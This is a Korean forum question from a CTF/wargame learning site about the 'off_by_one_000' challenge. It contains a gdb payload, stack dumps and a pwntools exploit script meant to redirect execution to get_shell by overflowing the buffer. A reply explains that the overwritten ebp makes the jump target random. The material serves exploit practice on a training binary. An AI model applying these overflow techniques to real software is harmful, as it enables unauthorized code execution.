payload offset 관련 질문
get_shell
의 주소가 0x80485db
이고, ebp가 input에 의해 변조되어 main의 종료 후 cpy
의 buffer주소에서 20 떨어진주소가 ret역할을 한다는 걸 알았습니다.
따라서
gdb-peda$ r <<< $(python -c 'print "a"*20 + "\xdb\x85\x04\x08" + "a"*256')
이렇게 디버거에서 input을 넣었고
0x80486b0 <main+64>: mov eax,0x0
0x80486b5 <main+69>: leave
=> 0x80486b6 <main+70>: ret
0x80486b7: xchg ax,ax
0x80486b9: xchg ax,ax
0x80486bb: xchg ax,ax
0x80486bd: xchg ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffd204 --> 0x80485db (<get_shell>: push ebp)
0004| 0xffffd208 ('a' <repeats 164 times>)
0008| 0xffffd20c ('a' <repeats 160 times>)
0012| 0xffffd210 ('a' <repeats 156 times>)
0016| 0xffffd214 ('a' <repeats 152 times>)
0020| 0xffffd218 ('a' <repeats 148 times>)
0024| 0xffffd21c ('a' <repeats 144 times>)
0028| 0xffffd220 ('a' <repeats 140 times>)
이렇게 main이 종료되자 get_shell
로 점프하는 것을 볼 수 있습니다.
이 점에서 착안하여
from pwn import*
payload = ''
payload += 'a'*20
p=process('./off_by_one_000')
e =ELF('./off_by_one_000')
get_shell_addr = e.symbols['get_shell']
payload += p32(get_shell_addr)
payload += 'a'*0x100
p.sendline(payload)
p.interactive()
와 같은 공격코드를사용했으나
Switching to interactive mode
Name: Name: aaaaaaaaaaaaaaaaۅ\x04aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[*] Got EOF while reading in interactive
$ id
[*] Process './off_by_one_000' stopped with exit code -11 (SIGSEGV) (pid 550)
와 같이 셸이 실행되지 않고 종료됩니다.
디버거로 분석한 것과 offset 차이가 있는건가요?
#pwnable
작성자 정보
답변
1
m0nd2y
시니어
ebp가 input으로 덮힌경우 stack의 특정한 주소가 아닌 임의 주소로 jmp한다는 점을 고려하시면 좋을 것 같습니다 :)
이유는 추가로 ebp값은 랜덤이라서 어느지점으로 이동할지 사용자가 특정할 수 없습닏다.